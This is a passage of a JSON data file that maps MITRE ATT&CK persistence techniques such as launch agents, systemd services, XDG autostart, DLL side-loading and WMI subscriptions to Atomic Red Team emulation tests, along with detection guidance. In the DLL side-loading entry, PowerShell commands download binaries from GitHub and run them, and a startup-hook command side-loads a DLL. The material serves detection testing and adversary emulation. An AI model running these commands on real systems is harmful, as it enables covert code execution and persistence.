- "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents
, /Library/LaunchAgents
, and $HOME/Library/LaunchAgents
(Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1543.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lambert, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b",
- "type": "attack-pattern",
- "created": "2020-01-17T16:15:19.870Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.002",
- "url": "https://attack.mitre.org/techniques/T1543/002"
- },
- {
- "external_id": "CAPEC-550",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/550.html"
- },
- {
- "external_id": "CAPEC-551",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/551.html"
- },
- {
- "source_name": "Linux man-pages: systemd January 2014",
- "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
- "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
- },
- {
- "source_name": "Freedesktop.org Linux systemd 29SEP2018",
- "url": "https://www.freedesktop.org/wiki/Software/systemd/",
- "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."
- },
- {
- "source_name": "Anomali Rocke March 2019",
- "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
- "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."
- },
- {
- "source_name": "Rapid7 Service Persistence 22JUNE2016",
- "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence",
- "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."
- }
- ],
- "modified": "2020-10-09T13:46:29.701Z",
- "name": "Create or Modify System Process: Systemd Service",
- "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system
and /usr/lib/systemd/system
directories and have the file extension .service
. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system
and /usr/lib/systemd/system
directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/
to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system
, /usr/lib/systemd/system/
, and /home//.config/systemd/user/
directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all
. Analyze the contents of .service
files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service
may reveal malicious systemd service execution.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Service: Service Creation",
- "Process: Process Creation",
- "File: File Modification",
- "File: File Creation",
- "Command: Command Execution",
- "Service: Service Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "identifier": "T1543.002"
- },
- "atomic_tests": []
- },
- "T1136": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Threat Intelligence Center (MSTIC)",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1136",
- "url": "https://attack.mitre.org/techniques/T1136"
- },
- {
- "source_name": "Microsoft User Creation Event",
- "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
- }
- ],
- "modified": "2021-08-12T13:04:14.534Z",
- "name": "Create Account",
- "description": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as net user
or useradd
. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",
- "x_mitre_version": "2.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Creation",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1547.013": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lambert, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
- "type": "attack-pattern",
- "created": "2019-09-10T18:13:12.195Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.013",
- "url": "https://attack.mitre.org/techniques/T1547/013"
- },
- {
- "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
- "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html",
- "source_name": "Free Desktop Application Autostart Feb 2006"
- },
- {
- "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.",
- "url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html",
- "source_name": "Free Desktop Entry Keys"
- }
- ],
- "modified": "2020-11-10T15:55:10.103Z",
- "name": "XDG Autostart Entries",
- "description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart
or ~/.config/autostart
directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type
key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name
key indicates an arbitrary name assigned by the creator and the Exec
key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart
and ~/.config/autostart
directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME
or $XDG_CONFIG_DIRS
to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1547.007": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e",
- "created": "2020-01-24T18:15:06.641Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.007",
- "url": "https://attack.mitre.org/techniques/T1547/007"
- },
- {
- "source_name": "Re-Open windows on Mac",
- "url": "https://support.apple.com/en-us/HT204005",
- "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- },
- {
- "source_name": "Wardle Persistence Chapter",
- "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf",
- "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist
within the ~/Library/Preferences/ByHost
directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist
file to execute payloads when a user logs in.",
- "modified": "2022-04-19T23:46:56.443Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Re-opened Applications",
- "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.007"
- },
- "atomic_tests": []
- },
- "T1574.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
- "created": "2020-03-13T19:41:37.908Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.002",
- "url": "https://attack.mitre.org/techniques/T1574/002"
- },
- {
- "source_name": "FireEye DLL Side-Loading",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
- "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/641.html",
- "source_name": "capec",
- "external_id": "CAPEC-641"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",
- "modified": "2022-05-05T04:07:48.912Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow: DLL Side-Loading",
- "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1574.002"
- },
- "atomic_tests": [
- {
- "name": "DLL Side-Loading using the Notepad++ GUP.exe binary",
- "auto_generated_guid": "65526037-7079-44a9-bda1-2cb624838040",
- "description": "GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of the created process",
- "type": "string",
- "default": "calculator.exe"
- },
- "gup_executable": {
- "description": "GUP is an open source signed binary used by Notepad++ for software updates",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Gup.exe binary must exist on disk at specified location (#{gup_executable})\n",
- "prereq_command": "if (Test-Path #{gup_executable}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"#{gup_executable}\"\n"
- }
- ],
- "executor": {
- "command": "#{gup_executable}\n",
- "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "DLL Side-Loading using the dotnet startup hook environment variable",
- "auto_generated_guid": "d322cdd7-7d60-46e3-9111-648848da7c02",
- "description": "Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of the created process",
- "type": "string",
- "default": "calculator.exe"
- },
- "preloader_dll": {
- "description": "library for interfacing with the dotnet framework",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": ".Net SDK must be installed\n",
- "prereq_command": "if (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n"
- },
- {
- "description": "preloader must exist\n",
- "prereq_command": "if (Test-Path \"#{preloader_dll}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"#{preloader_dll}\"\n"
- }
- ],
- "executor": {
- "command": "set DOTNET_STARTUP_HOOKS=#{preloader_dll}\ndotnet -h > nul\necho.\n",
- "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1098.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Detection and Response Team (DART)",
- "Mike Burns, Mandiant",
- "Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)",
- "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
- "created": "2020-01-19T16:54:28.516Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1098.002",
- "url": "https://attack.mitre.org/techniques/T1098/002"
- },
- {
- "source_name": "Bienstock, D. - Defending O365 - 2019",
- "url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365",
- "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019."
- },
- {
- "source_name": "Crowdstrike Hiding in Plain Sight 2018",
- "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/",
- "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020."
- },
- {
- "source_name": "Google Ensuring Your Information is Safe",
- "url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html",
- "description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022."
- },
- {
- "source_name": "Gmail Delegation",
- "url": "https://support.google.com/a/answer/7223765?hl=en",
- "description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022."
- },
- {
- "source_name": "FireEye APT35 2018",
- "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf",
- "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018."
- },
- {
- "source_name": "Microsoft - Add-MailboxPermission",
- "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps",
- "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019."
- },
- {
- "source_name": "Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452",
- "url": "https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html",
- "description": "Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission
[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
- "modified": "2022-04-19T14:55:26.110Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Additional Email Delegate Permissions",
- "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "User Account: User Account Modification",
- "Group: Group Modification"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1084": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:05.140Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1084",
- "url": "https://attack.mitre.org/techniques/T1084"
- },
- {
- "url": "https://www.secureworks.com/blog/wmi-persistence",
- "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
- "source_name": "Dell WMI Persistence"
- },
- {
- "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf",
- "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks [slides]. Retrieved November 3, 2014.",
- "source_name": "Kazanciyan 2014"
- },
- {
- "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
- "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
- "source_name": "Mandiant M-Trends 2015"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- },
- {
- "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
- "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
- "source_name": "Medium Detecting WMI Persistence"
- }
- ],
- "modified": "2020-01-24T14:08:23.156Z",
- "name": "Windows Management Instrumentation Event Subscription",
- "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1160": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1160",
- "url": "https://attack.mitre.org/techniques/T1160"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
